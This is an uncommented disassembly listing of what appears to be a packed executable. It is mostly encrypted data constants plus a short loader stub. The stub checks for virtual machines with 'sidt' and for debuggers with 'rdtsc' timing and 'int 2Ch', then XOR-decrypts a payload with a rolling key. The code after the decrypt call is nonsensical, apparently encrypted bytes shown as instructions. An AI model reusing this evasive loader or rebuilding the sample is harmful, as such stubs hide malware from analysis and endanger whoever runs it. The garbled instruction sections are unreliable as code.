		dd 64743675h, 332B42CAh, 7E1BCF6Fh, 0C854A01Fh,	1071C6AFh
		dd 0BCC7CA03h, 5BB85DCh, 0DE72151Dh, 4B2DBFF2h,	87141D1h
		dd 36EB00E8h, 6D7FC270h, 1D1DC14Ah, 0C043D925h,	3046B5DFh
		dd 1DAB9B4Fh, 44D8E6DAh, 0AA43C2D6h, 6EBA4B27h,	0CB0D5506h
		dd 2F6434FDh, 1F9A4B71h, 0F701B0F8h, 252C47B7h,	0AF37A337h
		dd 0C1D4D83Bh, 801C8F83h, 794C4025h, 2C95EE9Fh,	1ED299Dh
		dd 8AEEF2A3h, 664C83D6h, 980E2D5Ch, 1EEA959h, 0E3B4140h
		dd 366C7A55h, 0A74681A1h, 0B83F2894h, 6086A370h, 1E1B8692h
		dd 0F5D9C2E5h, 0A1887B2Bh, 12721D89h, 94070A60h, 6E4A76B2h
		dd 0F0881FFDh, 4433256Dh, 0C180D98Fh, 8255EA78h, 9906049h
		dd 77F53072h, 625F6D35h, 0ACD9883Fh, 80ABC1A9h,	936029E3h
		dd 0D6ABFE27h, 696D2A99h, 0FA127D8Eh, 8A8878F1h, 0F64F95Ah
		dd 50231D0Dh, 0D56D9A9Fh, 0CF1A972Ch, 432B52BCh, 6C3F6964h
		dd 6F71814Eh, 0CEBCFCFCh, 28329E9Ch, 0FF19D2E3h, 0DFCFFB36h
		dd 79B3F808h, 3DC90D62h, 0D39C857Ch, 0D6C3B835h, 1D6AADDh
		dd 0C8D723A8h, 25CBF66Bh, 10928CFAh, 570A97A1h,	0FABEFF32h
		dd 5403E779h, 4909034h,	0CFB242F2h, 0E18C5254h,	76587ABFh
		dd 0AE4E747Bh, 0FDA624EEh, 0C9A6DC07h, 0DDD2D9E1h, 0C47E96CFh
		dd 2C74FA50h, 0BBD0474Ch, 0D583EBADh, 216B4796h, 0A8F95D5Eh
		dd 50CF025Ah, 708C4E54h
		dd 7C4DA947h, 0A7A78633h, 24E14290h, 0C7DD05B9h, 2B960966h
		dd 70BA4CB8h, 0CB4CE5D9h, 137D31FDh, 5AEDC05Ch,	896EE20Ah
		dd 97E8B142h, 54AC6E12h, 9FABC98Dh, 0E5E0EC91h,	7B73AB79h
		dd 53180B2Bh, 0F2375EEh, 42C917C8h, 470A20EDh, 2E4224h
		dd 24AA6AE6h, 0EF7B8F4Dh, 5D558A9Eh, 9A45CBD5h,	0B501E613h
		dd 71594960h, 7C8EAD1Ah, 0B68E65B4h, 86380E2h, 0ACB5739Fh
		dd 0A299CAF7h, 821B4F5h, 0F206E00Dh, 748A1C8h, 14CB6F64h
		dd 7D7FB6DAh, 13EDEBCFh, 5D22F611h, 6F2652C9h, 0D2031E2Bh
		dd 9B3C8B4Ch, 26DF6A25h, 5EBA0C1h, 9D43A999h, 0AED6886Dh
		dd 0C4B10FA5h, 0E4C93B4Dh, 0EC25FDD4h, 2A46F2DEh, 52EA3299h
		dd 0AFA6F908h, 24AB954Dh, 3661AA1h, 0B9D68AFFh,	0B069AB28h
		dd 0C4EF6401h, 5A9F2EABh, 3BE32AACh, 12FE11A1h,	2E022E52h
		dd 4ADA7359h, 7A09B858h, 42B39860h, 154B7025h, 3C02D704h
		dd 4CE36887h, 41EEEAC2h, 0F7987360h, 2D37688Ah,	16FDAB08h
		dd 0FF8B771h, 40264447h, 0B16F783Ch, 266B46DEh,	0ED965A20h
		dd 84A94F91h, 0ADD865DEh, 24DE3BF2h, 48DE368h, 5AC57BA5h
		dd 4B466B3Ah, 0A1A37968h, 186C65BCh, 16949D00h,	1AB5A442h
		dd 96E2A61Bh, 152DE212h, 6ABF4AF6h, 21F8943Fh, 2EDD4F9Ch
		dd 0DAEC3754h, 0B4908103h, 0B4E1B392h, 0DB0917F3h, 0D480192Bh
		dd 38AF870Bh, 0B1CB05F8h, 0B105DCC9h, 0F106C63Dh, 59135A1Eh
		dd 0F283AB64h, 331053B3h, 2A478AB0h, 0A7BCC035h, 71C9E745h
		dd 37D2C429h, 639AEC39h, 2218F6F2h, 0CFCB65E8h,	0B90357AEh
		dd 92983707h, 13BA8068h, 7A50AA1Ch, 0F5D8AD3Ah,	9E6F3E4Ch
		dd 7DE59846h, 125C11E7h, 0DC87EEAFh, 0A536E9F0h, 708AF197h
		dd 0F4DC60DAh, 9DCEBF94h, 0D3402BF5h, 52F93C83h, 930D9DF3h
		dd 0A35C1D70h, 0CE547535h, 0F0140D29h, 660AFCBCh, 0F9A13C44h
		dd 2E4D58A1h, 6D256D9Eh, 8AB18C76h, 0D33F559Eh,	9E491074h
		dd 0B08C4B79h, 15BDBB3Eh, 0A79E4B8h, 0D6ECA45Bh, 8BD830F3h
		dd 90DDFE83h, 0B729752Fh, 7F123CABh, 0D2DEE87Ch, 8242C41h
		dd 0DB630840h, 1F187060h, 0CE98C7DDh, 0B093241Ah, 90CF338h
		dd 54DA6EE8h, 0E5DFE2EAh, 8A84A9A6h, 57A0189Dh,	9E1B0F34h
		dd 7EC1AFF0h, 0F8D0DC57h, 0F7A16434h, 0C27E1377h, 0CE2F2541h
		dd 3BE39358h, 83929403h, 7F866DA8h, 7B12FDC9h, 49163AF9h
		dd 0C6FB2EBFh, 0CA238711h, 7A4233F5h, 0FADA086Bh, 949ACFFh
		dd 59143A87h, 0E1238578h, 0AA3B34BFh, 60D08D4Ah, 0D92D8104h
		dd 4F13F99h, 0F9759827h, 0E7C6CCF6h, 166FFBEFh,	981D1FEFh
		dd 861C697Ah, 70D7C190h, 82B454E8h, 8F3D1154h, 0A2AFAD4h
		dd 45324A67h, 6295DA07h, 10DE8E58h, 53C478B9h, 6CF1CE07h
		dd 0DB179247h, 187C318Ch, 66A1B5FDh, 5CD620Ah, 0FE41EC80h
		dd 6CB3AA51h, 0B00D225h, 43AF3819h, 4794F49Fh, 1D172DDBh
		dd 342AD7BFh, 1B009E64h, 675FFE24h, 3C7D5474h, 0FC1F8918h
		dd 8B639FC5h, 0A6596729h, 330FFF59h, 4797F93Dh,	0DB4BAD76h
		dd 76FDBB75h, 0E154A20Ah, 827F0734h, 0BCB89142h, 9419A71Ch
		dd 1F58E0A6h, 0A49880CDh, 7FA4C568h, 0FC4CA9B6h, 2015C7E2h
		dd 722D6316h, 0B44006BAh, 0A7284265h, 3AAC56E7h, 2564D97Dh
		dd 62B50CD8h, 0ED3F0A32h, 28BC321Bh, 0BA6FBA8Bh, 87C60E68h
		dd 0A88167B8h, 0ECC798Eh, 1EE7A3ADh, 133A5EBCh,	0BDDC5198h
		dd 0DCC808DCh, 0F30B1102h, 17192144h, 9DF9025Dh, 16D501F7h
		dd 0AB054795h, 52C1897Fh, 86C80E5Dh, 0A310C363h, 5DDC8F53h
		dd 0E2DCE958h, 0D4853D0Bh, 0CF3534D9h, 0FB9C9646h, 76B6A2C9h
		dd 0A8B1D597h, 5A0B1371h, 3DF014E5h, 1A40098Dh,	6CEAEB7Ch
		dd 5A3235E3h, 0DBAD3233h, 1877173Eh, 0E27E3E7Bh, 971A1D74h
		dd 572F9C4Bh, 0C2843FB1h, 0BBF50E3Ah, 460BDB44h, 7C402D88h
		dd 28C4729Eh, 0C177952Ch, 45F46620h, 1437413Eh,	0D21359D2h
		dd 2E0746CEh, 8B289020h, 2CA80B76h, 0DD2EC590h,	16BE1DB1h
		dd 7D7CF910h, 1894F5DAh, 9B6D7BDBh, 3C8C6915h, 48DDB0EAh
		dd 7B7C69B4h, 3EEA2BCFh, 1A23F404h, 0DBF1DDB5h,	0FDEA5705h
		dd 0A048FBC0h, 8A5CCF0Ah, 0CC75122Dh, 87B6320Eh, 6A654F67h
		dd 0CFFAFF0Ah, 9E1067D2h, 49F91B2Bh, 0FFC532D2h, 8B83B306h
		dd 7A2CB97Fh, 52171A85h, 0C4E6B86Bh, 7BFDCE64h,	0CC38448h
		dd 0FB12BA1Bh, 4A0EB14Bh, 8C3F1E1Dh, 0D92CAF7Ah, 9E62BFFBh
		dd 685F055Ah, 5CC17D12h, 95543F01h, 239CA9E5h, 0E0D0CBA8h
		dd 0F1AD74D5h, 0EF5CEA2h, 16E3B94Bh, 75AECE73h,	0CC7E24D9h
		dd 244F165Ah, 8905A829h, 0B94280B5h, 2050A2Ch, 8F4FD01Fh
		dd 690E40F4h, 0FA597E19h, 546F6A80h, 0F21A8E00h, 27686E07h
		dd 0F4910A57h, 76048390h, 0BD8583C5h, 0B54BBE26h, 68C19DA3h
		dd 0C8F5EAC3h, 0CE9053FCh, 5E28F64Ah, 5BE4C95Bh, 9E9FB281h
		dd 0BCEF45EEh, 0A6048FA1h, 3E474E9Dh, 84C9ABAEh, 69CD81E0h
		dd 656725Bh, 0A8A0518Ch, 0AA157167h, 0D583E915h, 5B13327Fh
		dd 34488A26h, 0E7014671h, 9B75B255h, 74A93E8Ch,	0A4075C2Dh
		dd 1FE906C9h, 681208Fh,	0CC3A2FD1h, 0B017939Bh,	94DE4730h
		dd 0D305A22h, 1100DB3Fh, 98B148DAh, 3769D2DBh, 0E89399ECh
		dd 38B449Bh, 0DD3780C7h, 2B3EB489h, 0CAA32B01h,	2A45DCDh
		dd 3B6C2A36h, 56775A92h, 0D7908EFBh, 0A1E4F765h, 57C3C345h
		dd 0D9D0BB0Bh, 183F085Dh, 4634B753h, 0E93F655Bh, 0C524FAEEh
		dd 654C7447h, 204382E1h, 76B3BE79h, 3C01D8CBh, 28474C96h
		dd 0F288512Fh, 1F1E2C49h, 3AF34F0Ah, 0D970BB7Ah, 602413DAh
		dd 0B9AD06F1h, 8875A7E7h, 0FE7C0A55h, 0C7487E62h, 600A30Ah
		dd 209D157Dh, 0CB95ECF9h, 0E1074104h, 0A026409Dh, 0D73EE2E8h
		dd 0E3C455BDh, 0AF584749h, 358F1149h, 2492965Fh, 5846AE5Eh
		dd 0AF3089B4h, 1FE88EF2h, 0B7075E4h, 0F3865841h, 3E387255h
		dd 43B03BB0h, 9EF83F29h, 0BFD31768h, 0E48CF61h,	0B3B38B34h
		dd 0A3E5821h, 41BA76B7h, 6F21CF2Fh, 9CD2BAE5h, 0DCDBF863h
		dd 4C2FAF53h, 440B990Dh, 9B82E6A2h, 5A65EDA8h, 5B6644B4h
		dd 80FA7D01h, 0A23C7693h, 570D2D15h, 23625908h,	0E5DEE5ABh
		dd 0F7B438CDh, 0BE8EFAB4h, 6A57D5D7h, 832372AFh, 0ABA366C6h
		dd 4EE14076h, 1CB5CD42h, 0F6671B0Bh, 0D7E50501h, 5ACF319Dh
		dd 0BD6C1BBAh, 0E857764Ah, 6048C5DBh, 241156h, 1815D769h
		dd 7FF61Eh, 55D01390h, 0FEED732Ah, 0EB851AB5h, 5A5DA45Bh
		dd 92C112B4h, 75F54CF8h, 6D2F6C83h, 295AED3Ch, 0F55A0E24h
		dd 881DBCD9h, 0D0513DFCh, 0D70E1A9Dh, 861650D0h, 3E8D271Ch
		dd 6CEB2E2Dh, 761FF76h,	785B30B4h, 0E73686C8h, 4C3927Ch
		dd 34EED1B2h, 75665B53h, 0D60BACA5h, 4F623A1Bh,	2E8F683Ch
		dd 0B49C599Bh, 52869A42h, 7908B908h, 99B0F82Ah,	0F052916Ch
		dd 8F0E7720h, 2D3E89C0h, 40DA9C0Fh, 2EFF4134h, 3C649986h
		dd 3E04C346h, 0EE40204Ch, 948C07F3h, 0D5F03F35h, 3D1A9693h
		dd 5581E340h, 6BA76903h, 92210050h, 49436072h, 4139707h
		dd 0D225F2F2h, 0FA90A528h, 0C542C30Ah, 0E8AF0F08h, 0EEAFA0A5h
		dd 643F56F0h, 0BCF3CFD0h, 317BA6DCh, 0C362E3E4h, 230BF9C3h
		dd 63A57748h, 501F3608h, 0D284C095h, 0C60B236h,	53C8BAFBh
		dd 4B174A07h, 6A0C94F9h, 5C31DF79h, 0CFC29E2Ah,	5C7FE51h
		dd 0CC206AAAh, 3D0D2854h, 117B7EA9h, 0F2AD7A37h, 6C0E5D73h
		dd 39C6237Ah, 1C6A1F63h
		dd 968961DCh, 9F7B6BD5h, 0BD54C3CFh, 21B0248h, 6B12074Dh
		dd 0C451AA6h, 96667D59h, 0FF73C96Ch, 1B5B83BFh,	6A3BACE3h
		dd 0E6B1CFDCh, 56ADBAAh, 0C04F2A79h, 73F95E18h,	0E561ED91h
		dd 0F0CACEC7h, 0CE74A82Ch, 0E669B0C9h, 0EC5E60EEh, 8319426Ah
		dd 75F0B317h, 3F737CD5h, 4C13F35Fh, 0DD58BA20h,	69DFA99Dh
		dd 9D502929h, 307D63Fh,	0F7FA72E7h, 83E54999h, 0D7C1539Fh
		dd 0C425DECEh, 42DCA26Ch, 0CCA7DAD8h, 5F227449h, 85BB83CCh
		dd 2647EDD4h, 678FE72Fh, 7080C943h, 8CB0E938h, 0A3740413h
		dd 0C406A8ADh, 1817BAC4h, 3C6C812Fh, 948E3DA6h,	36F3F03h
		dd 827DA4D2h, 48E41275h, 0E74D7437h, 467A6B5Ch,	782E56D6h
		dd 8A6A030Eh, 7F5A45E7h, 8D85F745h, 25599AB2h, 0C81837h
		dd 0A1FDCE2Eh, 26D82EF2h, 46F6282Fh, 2BE46C61h,	78EC0E4Dh
		dd 0A3464356h, 0D016E7C3h, 3ADDC951h, 0FA1BA6E9h, 0CBE7097h
		dd 0D5D59D5Eh, 0EF24BF78h, 0ED8119CEh, 98D1569Ch, 560679BBh
		dd 8B6A6B1Bh, 894A8F69h, 0C1BA2DFFh, 0E4D8BDAFh, 0A391FEDFh
		dd 78B3DCEh, 0A4C97C7Bh, 0D1C7A722h, 0C320D0C1h, 0C3AC4BF1h
		dd 7C4CA3A8h, 0E36DD45h, 0EC1A3655h, 218737CEh,	57A25D9Bh
		dd 0EC0AA0EEh, 0FE9BA4Bh, 86F62D33h, 0FAED01FFh, 6E4DC540h
		dd 8C848C2h, 0DD46FD82h, 339FBF00h, 164864A3h, 2FE19047h
		dd 331DDFABh, 8E2A817Ah, 0D172581h, 523CF3CFh, 3B3E528Fh
		dd 0DEB3B60Bh, 0D3493E57h, 0A7E479B6h, 98368DFDh, 0B316D880h
		dd 0EEAEE01Ch, 52149B46h, 1BF58BA2h, 0FEB43923h, 485C0B53h
		dd 3F09FF65h, 0FECC0F5Eh, 0B34BF6F1h, 540D75B2h, 5890986Ch
		dd 0A7B64EECh, 64020418h, 0ECA934C2h, 0D24799ECh, 888D3107h
		dd 23255852h, 0DE8AFB6h, 43591746h, 9BEBCC05h, 0FC352872h
		dd 609B0A91h, 0D1C97B53h, 0E9D76A3Fh, 0F2E72DDEh, 0D06402BEh
		dd 0E8EA3759h, 7B200AEEh, 70EC1352h, 6FFA102Ch,	5118B501h
		dd 33DADBADh, 9B840FEAh, 90554DF7h, 2F13EAFh, 0ACD9F2CFh
		dd 0B184CC87h, 4EDCF9B6h, 3368F4CDh, 96C004D7h,	9685B1F1h
		dd 0E9944137h, 0CE8CEEF8h, 7F137149h, 0E32FE73Bh, 6451BE8Ch
		dd 0DC44CCC8h, 22F08BF3h, 0FED27C16h, 5BFB44ACh, 0CC51B0DAh
		dd 34E0E4D4h, 0DEBD1709h, 25375C86h, 5DD88273h,	0ECF8D110h
		dd 89CEA789h, 57C75F8Ch, 20E4F0B3h, 7DAA06FAh, 27FC4DF9h
		dd 378B4020h, 323765EEh, 91180681h, 0CE6289CFh,	9B1B1490h
		dd 9183E0A9h, 0DD3A3D6Eh, 85FAA4E1h, 533F0F7h, 21598425h
		dd 73EA97CCh, 0F535B876h, 28B5B13h, 256C5BCBh, 0EB1D2F9Ch
		dd 8B866F09h, 60C09574h, 0E1E35FFDh, 40739D22h,	9DBF66A3h
		dd 42D06585h, 0C531EA90h, 4A474E4Ch, 9B05BBDBh,	7A6C386Ch
		dd 80521E73h, 451E48DDh, 4BF2B2F9h, 0D2C65D18h,	0BFE51454h
		dd 4B27BB49h, 368E52Ah,	167E114h, 0D16F7A35h, 986F441Ah
		dd 5C8D0FD3h, 12AA9F9Fh, 0E74FB0B7h, 64EFD5C1h,	20F1D8B4h
		dd 29BE272Ah, 0A71335CAh, 52E596DDh, 5EA86E7Eh,	0CC1150Eh
		dd 74680EEDh, 13D1E41Fh, 7F81163Ah, 30CB9491h, 7DAAFB1h
		dd 152A1098h, 0A422884Ah, 0ADDCF044h, 0A37043D2h, 0E95E5927h
		dd 6160BC24h, 9DEC1623h, 0F2740AB5h, 219E7E00h,	0D4583789h
		dd 25892467h, 3DB4EFF2h, 50A1BACFh, 0C00F464Ch,	59800B9Ah
		dd 0DC4B14D6h, 20ED654Dh, 5091B553h, 41504D02h
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	loc_41042E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410406	proc near		; CODE XREF: .rsrc:0041047Dp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_41040E:				; CODE XREF: sub_410406+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]
		loop	loc_41040E
		pop	ebx
		retn
sub_410406	endp

; ---------------------------------------------------------------------------
		db 2Dh,	0FAh
; ---------------------------------------------------------------------------


loc_41041F:				; CODE XREF: .rsrc:00410468j
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410421:				; CODE XREF: .rsrc:loc_410436j
					; .rsrc:00410447j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_410455

; =============== S U B	R O U T	I N E =======================================



sub_41042B	proc near		; CODE XREF: .rsrc:0041044Ap
					; .rsrc:00410450p
		rdtsc
		retn
sub_41042B	endp

; ---------------------------------------------------------------------------


loc_41042E:				; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_41043A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax


loc_410436:				; CODE XREF: .rsrc:0041049Cj
		jns	short loc_410421
		jmp	short loc_410449
; ---------------------------------------------------------------------------


loc_41043A:				; CODE XREF: .rsrc:00410430j
		push	eax


loc_41043B:				; CODE XREF: .rsrc:004104A5j
		sidt	fword ptr [esp-2]
		pop	eax
		mov	eax, [eax+6]


loc_410444:				; CODE XREF: .rsrc:0041048Aj
		shl	eax, 10h
		jns	short loc_410421


loc_410449:				; CODE XREF: .rsrc:00410438j
		push	ebp
		call	sub_41042B
		xchg	eax, ecx
		call	sub_41042B


loc_410455:				; CODE XREF: .rsrc:00410429j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 0D17Ah ; CODE XREF: .rsrc:00410493j
		sub	eax, 100h
		jnb	short loc_41041F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_410406
		mov	dl, 0ACh
		jz	short loc_4104F8
		sub	edi, ecx
		lodsb
		jl	short loc_410444
		mov	cl, [ecx-2F58113Bh]
		nop
		loop	near ptr loc_41045B+5
		inc	ebp
		sbb	bh, [ebp+0E18EBFAh]
		jecxz	short loc_410436
		add	esi, [eax]
		mov	dl, 6Eh
		jg	short loc_4104EF
		in	eax, dx
		jnz	short loc_41043B
		ror	ebp, 1
		nop
; ---------------------------------------------------------------------------
		dw 0F33Eh
		dd 5BDFFE8Eh, 0D37F5778h, 9C6B9EFBh, 0FD5A5141h, 1A9015BFh
		dd 445F8C8Ch, 0E64CBE96h, 0A7944AE5h, 0ECE6EBB1h, 97314A7h
		dd 0B650BCCCh, 588B53B6h, 0BD7C285h, 0D2AACDE0h, 0A172A196h
		dd 524FA89h
		db 70h,	0DDh, 99h
; ---------------------------------------------------------------------------


loc_4104EF:				; CODE XREF: .rsrc:004104A2j
		xchg	eax, esp
		iret
; ---------------------------------------------------------------------------
		pushf
		pop	ebp


loc_4104F3:				; CODE XREF: .rsrc:00410509j
		jz	short loc_410566
		cwde
		nop
; ---------------------------------------------------------------------------
		db 6Bh
; ---------------------------------------------------------------------------


loc_4104F8:				; CODE XREF: .rsrc:00410485j
		cwde
		xchg	eax, edi
		xchg	esp, eax
		fcmovu	st, st(7)
		lahf
		fsub	qword ptr [ebx+7A8F7793h]
		dec	esp
		cmp	bl, [ebx-36h]
		loop	loc_4104F3
		stosb
		lea	esi, [eax-48h]
		push	esi
		imul	ecx, [esi-15558251h], -46h
		retf
; ---------------------------------------------------------------------------
		dd 0AAB5B5A2h, 96489396h
		db 20h
; ---------------------------------------------------------------------------


loc_410521:				; CODE XREF: .rsrc:0041057Bj
		dec	esp
		mov	bl, 0CCh
		into
		retn
; ---------------------------------------------------------------------------
		dw 6ABEh
		dd 4A726D5Eh, 0AC19491h, 5E6CB47Ch, 8EF01D1Dh, 2EE29FF4h
		dd 0ECDB3102h, 5065DD56h, 0DF2F7F80h, 0A1E3B3DFh, 0B45F4ECEh
		dd 0F021C4E0h, 2C9B99Eh, 69704374h, 77EAEFADh, 5BF91A2h
; ---------------------------------------------------------------------------
		or	al, 61h


loc_410566:				; CODE XREF: .rsrc:loc_4104F3j
		into
		and	eax, 52h
		mov	ecx, 34371D68h
		xor	esi, esp
		mov	ds:657DC0E6h, eax
		and	cl, 59h


loc_410579:				; CODE XREF: .rsrc:00410582j
		xchg	eax, esp
		scasd
		jnb	short loc_410521
		mov	ds:0FB761E8Fh, eax
		loop	loc_410579
		lock repne imul	esi, edi, 70h
		sbb	[ecx+5D6C5C81h], edi
		cmp	esp, [edi-30h]
		aam	70h
		jno	short near ptr loc_410596+3


loc_410596:				; CODE XREF: .rsrc:00410594j
		mov	bl, [esi+eax*4-10CA944Bh]
		leave
		cmp	eax, ebx
		out	dx, al
		add	esi, [edx+69391E5Ah]
		db	26h
		push	ebx
		lodsb
		adc	eax, 0A74A5660h
		mov	ch, 49h
		mov	esi, 0C81C1FC1h
		cmc
		retn	0A864h
; ---------------------------------------------------------------------------
		dw 8008h
		dd 79871457h, 306B2E3Eh, 7473E0ECh, 0D2D18CBCh,	0C7E0B3D3h
		dd 0A49225DAh, 792F322Eh, 64D325E9h, 0DD7E5153h, 61A5CDFAh
		dd 77479FAEh, 0BFFBD37Ch, 0E7F76CECh, 83422504h, 578C1AEh
		dd 0A3359062h, 0A35B096Bh, 0A2B44D3Bh, 5F5C18E4h, 0CA36506Ah
		dd 0AAFFD427h, 582CC7B2h, 38BE328Bh, 97C99FF4h,	5C653CC3h
		dd 6617DAC1h, 0CCBA32D6h, 319EBD36h, 301A6060h,	0E9B5ED87h
		dd 28DBAAAEh, 0D102D5BDh, 19BC03FDh, 9A51140Eh,	9DFC448Ch
		dd 79F7271h, 94AEC99Ah,	0D1EDC4C1h, 0EFFC26E8h,	5A3D6547h
		dd 3063375Fh, 0B91FA25Eh, 17B1B4AEh, 0A6D9ABA6h, 0E61E472Ch
		dd 0F0CEF9CAh, 0F54E2122h, 43754AE3h, 89C56F1Ah, 6EC9FC9Dh
		dd 88C6D42Bh, 23E00FE5h, 2B3CB18Eh, 21603304h, 5585D7DFh
		dd 7CA86982h, 0F79BA8A9h, 0CAB08394h, 0DE3E6308h, 0ACC61E2Fh
		dd 404252F8h, 0DA14A55Eh, 8EF0BFEDh, 5D74B70Ah,	0DD0EE326h
		dd 289FB489h, 245D3001h, 52860EDCh, 42EF57Fh, 5FD2958Ah
		dd 4276CDBDh, 0EF10D8CDh, 3D71A69Dh, 0C2904273h, 0E399696Ah
		dd 8BBD92ABh, 9E753233h, 0AAF4DEEFh, 87B68906h,	0A95A1D05h
		dd 7FAAD2E8h, 7657847Ch, 8648ADA3h, 4FF6C9C8h, 0DC317174h
		dd 1235E719h, 11E1BACFh, 0DC126657h, 888AA603h,	0AFE14B4Ah
		dd 0D6F45CD3h, 73BB0304h, 256807AEh, 3D804BB1h,	0E923F678h
		dd 1BCD908Bh, 0F1DF5D7Ah, 0E9E411EEh, 0CBC41916h, 0DF6A3D3Ch
		dd 5E916582h, 0A9473606h, 6354B282h, 0DF0D9B3h,	782A71FEh
		dd 623C2AC9h, 232AA94Ch, 0FDBC1D76h, 0A7DE0928h, 0BEEE7CC4h
		dd 0E294ECEBh, 0F2BEEA5Eh, 0B9C35DC5h, 5B8F2F65h, 29D08988h
		dd 2D9F722h, 0B7A833E4h, 72D01C55h, 48534CF2h, 477A2D19h
		dd 6ECBB8FFh, 95A25F10h, 0BCEFC2AAh, 0B55683E1h, 5B307B43h
		dd 1EECADC7h, 0DAD45F6Fh, 0D4DBC642h, 2CDAADCDh, 4401BE00h
		dd 9D2C9130h, 4C524924h, 111F4A21h, 69E7112h, 6CAFC999h
		dd 37794090h, 0BD13D6CBh, 6C48B56h, 306308B2h, 573CD15Dh
		dd 0C7B0B394h, 0A5D7A2BEh, 690D3E59h, 0E4251578h, 9EC02011h
		dd 4244534Eh, 0FC168E90h, 90F28CC4h, 0F67C43EFh, 3710D3C8h
		dd 6380B1Ah, 46305D7Fh,	26D6292Fh, 17C4F6E8h, 0F4B1C0CDh
		dd 0AC8EA2AEh, 0E72F5B7h, 2861C48Bh, 0E2F4CD45h, 36985B47h
		dd 0E79FF8C7h, 21734645h, 590DD0CDh, 3C4057C9h,	7C5E45A6h
		dd 3B57DD01h, 69422F7Fh, 0CCD1A4A5h, 0A49D8FA9h, 9C4F9586h
		dd 792E6C72h, 3C0B2627h, 0BE00973Fh, 1BCBFBBh, 0E7B5E073h
		dd 265D8B8Eh, 301E7C93h, 379DAF2Dh, 8315AC03h, 1FA74A50h
		dd 63CCCBA2h, 0F3D9CD5Ch, 0EA3456F0h, 39D31718h, 1D67B7DEh
		dd 0F56D3232h, 8789A0DCh, 0B634587h, 0D637F636h, 2785603h
		dd 147B7FBFh, 3FBED451h, 8C263E24h, 6622ED9Bh, 0AAFBE2B2h
		dd 173087EDh, 3F6E5880h, 42A9B93Ch, 0A878F0BFh,	0B7B78A8Eh
		dd 9B3D2078h, 0FFE85DE1h, 0D2580030h, 31B5E9A6h, 1C2C4F4Eh
		dd 3FF22025h, 335CECCh,	0BDC1EF3Eh, 91412B6Fh, 2834EC1Dh
		dd 0DEE2B531h, 0B28E514Ch, 7E4A75EBh, 654950FDh, 3B03E6FEh
		dd 0D0EE7C65h, 48522524h, 6DB4D9B3h, 0F85F7343h, 94F7B157h
		dd 44142F28h, 0E315E817h, 39671010h, 603566FEh,	588A360Fh
		dd 0BB398581h, 0AAB3FCFDh, 0D521758h, 0A2519FADh, 0E2AFCA23h
		dd 0D1FBB6B5h, 6BAD653Dh, 0C295C6CAh, 923A2B40h, 2591E5D6h
		dd 0F7B1CE2Eh, 2F396C6Dh, 56887B08h, 7DAF9221h,	0A4D6A9ABh
		dd 0CBFDD0D1h, 0F324F7F8h, 0E51F4971h, 71589FD2h, 0C4C3C66Eh
		dd 74B45411h, 0EA2B555Eh, 0BB7C83A1h, 605A6B45h, 463C7E56h
		dd 20F13B3Ch, 19C92CDCh, 0D3BAF0D3h, 0A4FAB8BAh, 93538086h
		dd 7B49687Ch, 52023737h, 2697040Eh, 0F8DFF4E0h,	0DF8CFEDCh
		dd 980C9E85h, 7655627Ah, 4532684Ah, 20E31833h, 10C7150Dh
		dd 0EC93A3E5h, 0A083ABAEh, 8E7183A2h, 55356A7Fh, 5E1F0341h
		dd 30F11309h, 0FDD4E3EAh, 0C28AE1D3h, 0D86DBDB8h, 9E547646h
		dd 4E0D4958h, 29E13621h, 11D5397Ah, 0CFABD5C0h,	0AA99A7A7h
		dd 0D96C838Ah, 702A4425h, 57034D4Eh, 27D76511h,	0EEEDF8E5h
		dd 0C981D6C1h, 0A1629DDAh, 99436B44h, 51235E68h, 3E0B3339h
		dd 71E40B12h, 0DEB8FAD9h, 0EC96AAACh, 0E77F9785h, 48367053h
		dd 610C5052h, 5CF50E0Bh, 0CEC3EFCEh, 0C6ABD5DFh, 0BE6C9EB2h
		dd 974DB19Ah, 66546642h, 27363A2Bh, 0ACE0011h, 0F2A7FDD4h
		dd 0BDB1A6AFh, 0B6638FADh, 694B616Bh, 410F7D54h, 35F90305h
		dd 81F5FEF5h, 0FCAFCBE9h, 9672B8B0h, 0B64C9094h, 5E344944h
		dd 321D0C4Ch, 1DF21727h, 0FCB2F8CAh, 0DEAAC080h, 9171B19Ch
		dd 64536663h, 45067137h, 2BF83808h, 3ADFEBECh, 0E1D8EAD4h
		dd 0A2A9A6B6h, 904B8C96h, 73284F6Bh, 3714253Bh,	2BF20019h
		dd 0E5A6D197h, 0DC84D4E9h, 0A462938Ah, 645C7E64h, 57125C40h
		dd 3AEB1D5Bh, 3DC2E0E0h, 0C0BAC4C5h, 0AB9383D0h, 904ABA93h
		dd 60397F6Dh, 213F4507h, 2F03A1Dh, 0C8A6DCE3h, 0B582D6D2h
		dd 0B36B91ADh, 615A604Ch, 5B2D517Ch, 13E33931h,	1CDB317Fh
		dd 0CFA0F5C8h, 0B48AA9AEh, 8052A3F4h, 653B7E7Fh, 54297070h
		dd 64E21A18h, 0E8D2E2C1h, 8197C4DDh, 0A26E90EDh, 64610673h
		dd 411C494Fh, 1C813139h, 1FEE0F19h, 0E98EC7CFh,	0A69FBBBEh
		dd 9F788484h, 76161858h, 56057934h, 8FC3602h, 0FADFF9E0h
		dd 0DB84E7B5h, 0B264B29Ah, 9B5D6A50h, 4034782Bh, 197F2237h
		dd 3C71417h, 0EDA8C9F6h, 0A8B2A188h, 0BF1B8B82h, 6537647Fh
		dd 5B2B515Ch, 5EF20B08h, 0F1D1F9DCh, 0C0B6F4D7h, 0A048D9BCh
		dd 8E446540h, 50065D5Bh, 25142626h, 3C11013h, 0F2A0F1C9h
		dd 0CABCC5AAh, 877C9EA8h, 64077167h, 7A685E56h,	3EFD2115h
		dd 0D2D3FDE9h, 0CCBEDFDDh, 9F04A4A5h, 9C59BD8Ah, 70365247h
		dd 2219223Fh, 16E40707h, 0D6BCD59Bh, 0C88EA7B0h, 8773BA8Ch
